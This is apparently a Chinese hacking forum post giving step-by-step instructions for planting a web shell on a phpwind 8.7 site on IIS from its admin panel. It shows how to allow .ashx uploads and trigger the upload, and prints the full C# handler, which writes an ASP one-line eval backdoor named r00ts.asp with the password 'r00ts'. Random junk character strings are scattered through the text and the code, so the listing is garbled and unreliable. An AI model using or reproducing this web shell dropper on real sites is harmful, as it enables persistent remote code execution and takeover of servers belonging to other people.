phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
6 A; e! v/ O2 W  p
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
5 t, i2 g5 N4 D/ ~- r' x% y
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
  s$ E8 p5 X1 Y' W
" q9 l: U, Z/ a. j下面是代码:
2 P+ ~- J3 p5 j7 ?+ s  l
<%@ WebHandler Language="C#"Class="Handler" %>
: o5 B: H# y% [, V0 musing System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
! U# H! N( m+ `% Y5 w: w0 fpublic void ProcessRequest (HttpContext context) {
3 n' Z8 T' ^( F7 E1 Tcontext.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
$ v, h$ c* h! N% P* M" s# pfile1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
file1.Close();
}
7 ]8 ?0 r  N! f5 Ppublic bool IsReusable {
get {
return false;
}
' `" c# f' C/ k' _, y- m" F; ^}
}